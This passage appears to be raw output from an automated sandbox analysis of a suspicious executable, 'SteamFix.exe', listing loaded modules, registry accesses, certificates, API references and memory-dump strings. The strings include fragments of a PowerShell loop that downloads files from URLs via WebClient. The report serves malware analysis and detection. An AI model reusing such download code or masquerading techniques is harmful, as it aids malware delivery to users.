"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6fc10000 "powershell.exe" loaded module "COMBASE.DLL" at base 76ed0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 76ed0000 "powershell.exe" loaded module "NTDLL.DLL" at base 77120000 "powershell.exe" loaded module "SHELL32.DLL" at base 74810000 "powershell.exe" loaded module "WINTRUST.DLL" at base 76880000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f490000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 76880000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 73b60000 "powershell.exe" loaded module "AMSI.DLL" at base 71660000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73550000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 71640000 "powershell.exe" loaded module "KERNEL32" at base 74560000 "powershell.exe" loaded module "CRYPT32.DLL" at base 73b60000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\IDO00GF8.DLL" at base 715e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 71560000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 71200000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 76ed0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 711b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 710a0000 "powershell.exe" loaded module "SECUR32.DLL" at base 73660000 "powershell.exe" loaded module "SSPICLI.DLL" at base 73b40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 735e0000 "powershell.exe" loaded module "WLDP.DLL" at base 71000000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6f3f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 74560000 "powershell.exe" loaded module "USERENV.DLL" at base 73670000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76b90000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 70fa0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 70f80000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74560000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6f3c0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6ee80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6ee50000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6ee50000 "powershell.exe" loaded module "URLMON.DLL" at base 6f0e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 75b50000 "powershell.exe" loaded module "MSISO.DLL" at base 6ebd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER\V4.0_10.0.0.0__31BF3856AD364E35\MICROSOFT.APPV.APPVCLIENTCOMCONSUMER.DLL" at base 6eb20000 "powershell.exe" loaded module "BCRYPT.DLL" at base 736a0000 "powershell.exe" loaded module "OLEAUT32" at base 74750000 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 75b50000 "powershell.exe" loaded module "MSVCRT.DLL" at base 768d0000 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 6e840000 "powershell.exe" loaded module "MI.DLL" at base 6e820000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 75b50000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WMIDCOM.DLL" at base 6e790000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75b50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6e780000 "powershell.exe" loaded module "GDI32.DLL" at base 76cd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6e700000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6e640000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 75b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 75b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 74560000 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 75b50000 "powershell.exe" loaded module "RASAPI32.DLL" at base 6e560000 "powershell.exe" loaded module "RASMAN.DLL" at base 6e530000 "powershell.exe" loaded module "WS2_32.DLL" at base 76780000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73830000 "powershell.exe" loaded module "WINHTTP.DLL" at base 6e460000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 6e440000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 73800000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 73710000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 736c0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 6e3f0000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 6e3e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 6e3c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6e2b0000 "SearchUI.exe" loaded module "OLEAUT32" at base 74750000 "smss.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73910000 "smss.exe" loaded module "KERNEL32.DLL" at base 74560000 "smss.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 76e70000 "smss.exe" loaded module "NTDLL.DLL" at base 77120000 "smss.exe" loaded module "WINMM.DLL" at base 738c0000 "smss.exe" loaded module "POWRPROF.DLL" at base 74200000 "smss.exe" loaded module "WS2_32.DLL" at base 76780000 "smss.exe" loaded module "USER32.DLL" at base 73d90000 "smss.exe" loaded module "ADVAPI32.DLL" at base 76b9000044:T1147,file/memory contains long string with (Indicator: "Test-Path"; File: "AMSI") Found string "$webClient = New-Object System.Net.WebClient" (Indicator: "New-Object"; File: "AMSI") Found string "foreach ($file in $files) { if (-Not (Test-Path $file.Path)) { try { $webClient.DownloadFile($file.Url, $file.Path) } catch { } } else { }}" (Indicator: "Test-Path"; File: "AMSI") Found string "if (Test-Path $ProgramFilesX86) {" (Indicator: "Test-Path"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found string "$webClient = New-Object System.Net.WebClient" (Indicator: "New-Object"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found string "if (-Not (Test-Path $file.Path)) {" (Indicator: "Test-Path"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found string "if (Test-Path $ProgramFilesX86) {" (Indicator: "Test-Path"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found string "$webClient = New-Object System.Net.WebClient" (Indicator: "New-Object"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found string "if (-Not (Test-Path $file.Path)) {" (Indicator: "Test-Path"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found string "if (Test-Path $ProgramFilesX86) {" (Indicator: "Test-Path"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found string "$webClient = New-Object System.Net.WebClient" (Indicator: "New-Object"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found string "if (-Not (Test-Path $file.Path)) {" (Indicator: "Test-Path"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "if(Test-Path -LiteralPath $filePath -PathType Container)" (Indicator: "Test-Path"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -LiteralPath $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -Path $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -Er2" (Indicator: "Write-Error"; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Press Enter to continue...me of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp")45:Tafc,"SteamFix.exe" touched "WBEM Scripting Locator" (Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}") "SteamFix.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS") "SteamFix.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "SteamFix.exe" touched "PSDispatch" (Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") "SteamFix.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "SteamFix.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "SteamFix.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "SteamFix.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "SteamFix.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "SteamFix.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "SteamFix.exe" touched "PSEnumVariant" (Path: "HKCU\WOW6432NODE\CLSID\{00020421-0000-0000-C000-000000000046}\TREATAS") "SearchUI.exe" touched "Computer" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32") "SearchUI.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "SearchUI.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\WOW6432NODE\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\WOW6432NODE\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "SearchUI.exe" touched "PSOAInterface" (Path: "HKCU\WOW6432NODE\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS")46:T46e,"SteamFix.exe" file has an entrypoint instructions - "pushal ,mov esi, 0xce8015,lea edi, [esi - 0x8e7015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x10546d8,inc esi,inc esi,push ebx,push 0xc52390,push edi,add ebx, 4,push ebx,push 0x36c69e,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,mov edi, 0,push esi,push ebx,sub esp, 0x64,mov edx, dword ptr [esp + 0x78],mov dword ptr [esp + 0x5c], 0,lea eax, [edx + 4],mov dword ptr [esp + 0x60], eax,mov eax, 1,movzx ecx, byte ptr [edx + 2]," "SearchUI.exe" file has an entrypoint instructions - "pushal ,mov esi, 0xce8015,lea edi, [esi - 0x8e7015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x10546d8,inc esi,inc esi,push ebx,push 0xc52390,push edi,add ebx, 4,push ebx,push 0x36c69e,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,mov edi, 0,push esi,push ebx,sub esp, 0x64,mov edx, dword ptr [esp + 0x78],mov dword ptr [esp + 0x5c], 0,lea eax, [edx + 4],mov dword ptr [esp + 0x60], eax,mov eax, 1,movzx ecx, byte ptr [edx + 2],"47:T548,Process "SearchUI.exe" (UID: 00000000-00000992) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "SearchUI.exe" (UID: 00000000-00000992) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "SearchUI.exe" (UID: 00000000-00001060) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "SearchUI.exe" (UID: 00000000-00001060) was launched with missing environment variables: "USERDNSDOMAIN, PROCESSOR_ARCHITEW6432" Process "ReAgentc.exe" (UID: 00000000-00003564) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "ReAgentc.exe" (UID: 00000000-00003564) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, PATHEXT, ProgramFiles, NUMBER_OF_PROCESSORS" Process "smss.exe" (UID: 00000000-00002024) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, PATHEXT, ProgramFiles, NUMBER_OF_PROCESSORS" Process "smss.exe" (UID: 00000000-00002024) was launched with missing environment variables: "USERDNSDOMAIN, PROCESSOR_ARCHITEW6432"48:T651,"SteamFix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "SteamFix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "SteamFix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "SteamFix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "SteamFix.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "SearchUI.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "SearchUI.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "SearchUI.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "SearchUI.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "SearchUI.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")49:Tfc4,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00006948-00000C2E-731546870] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00006948-00000C2B-1578058441] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00006948-00000C2B-1578158122] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006948-00000C2B-1578209871] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00006948-00000C2B-1578533716] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00006948-00000C2B-1578556032] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006948-00000C2B-1578598224] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006948-00000C2B-1578647271] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00006948-00000C2B-1578919307] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006948-00000C2B-1578940208] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00006948-00000C2B-1579217006] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00006948-00000C2B-1579273012] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006948-00000C2B-1579363191] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006948-00000C2B-1579575599] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006948-00000C2B-1579937074] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006948-00000C2B-1579938287] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006948-00000C2B-1580341340] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006948-00000C2B-1580424623] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00006948-00000C2B-1580467972] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006948-00000C2B-1580918610] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006948-00000C2B-1580954733] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00006948-00000C2B-1580997488] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006948-00000C2B-1581104410] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006948-00000C2B-1581197991] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00006948-00000C2B-1581570174]4a:T82d,The input sample is signed with a certificate issued by "CN=SSL.com SSL Intermediate CA ECC R2, O=SSL Corp, L=Houston, ST=Texas, C=US" (SHA1: F8:86:35:01:72:60:D4:0B:9E:B4:17:BE:E7:37:37:91:1B:63:0E:59; see report for more information) The input sample is signed with a certificate issued by "CN=SSL.com Root Certification Authority ECC, O=SSL Corporation, L=Houston, ST=Texas, C=US" (SHA1: 92:19:61:2E:90:1C:49:04:F9:83:5E:E8:C2:AD:D5:4F:F0:B7:97:FD; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication CA DV R36, O=Sectigo Limited, C=GB" (SHA1: 3C:4A:8B:66:43:0E:DD:E6:B6:F0:3F:D4:31:E0:1A:5E:30:FC:E5:40; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication Root R46, O=Sectigo Limited, C=GB" (SHA1: DD:55:B4:52:02:91:E2:76:58:8F:0D:D0:2F:AF:D8:3A:73:68:E0:FA; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 2B:18:94:7A:6A:9F:C7:76:4F:D8:B5:FB:18:A8:63:B0:C6:DA:C2:4F; see report for more information) The input sample is signed with a certificate issued by "CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: D8:9E:3B:D4:3D:5D:90:9B:47:A1:89:77:AA:9D:5C:E3:6C:EE:18:4C; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: DD:F1:7F:7F:7F:4B:23:84:79:68:8B:E8:E9:F2:1F:C1:30:9B:C3:37; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information)4b:T712,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00006948.00000000.196737.04CC0000.00000004.mdmp")4c:T550,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "SteamFix.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001372.00000001.197755.06000000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: 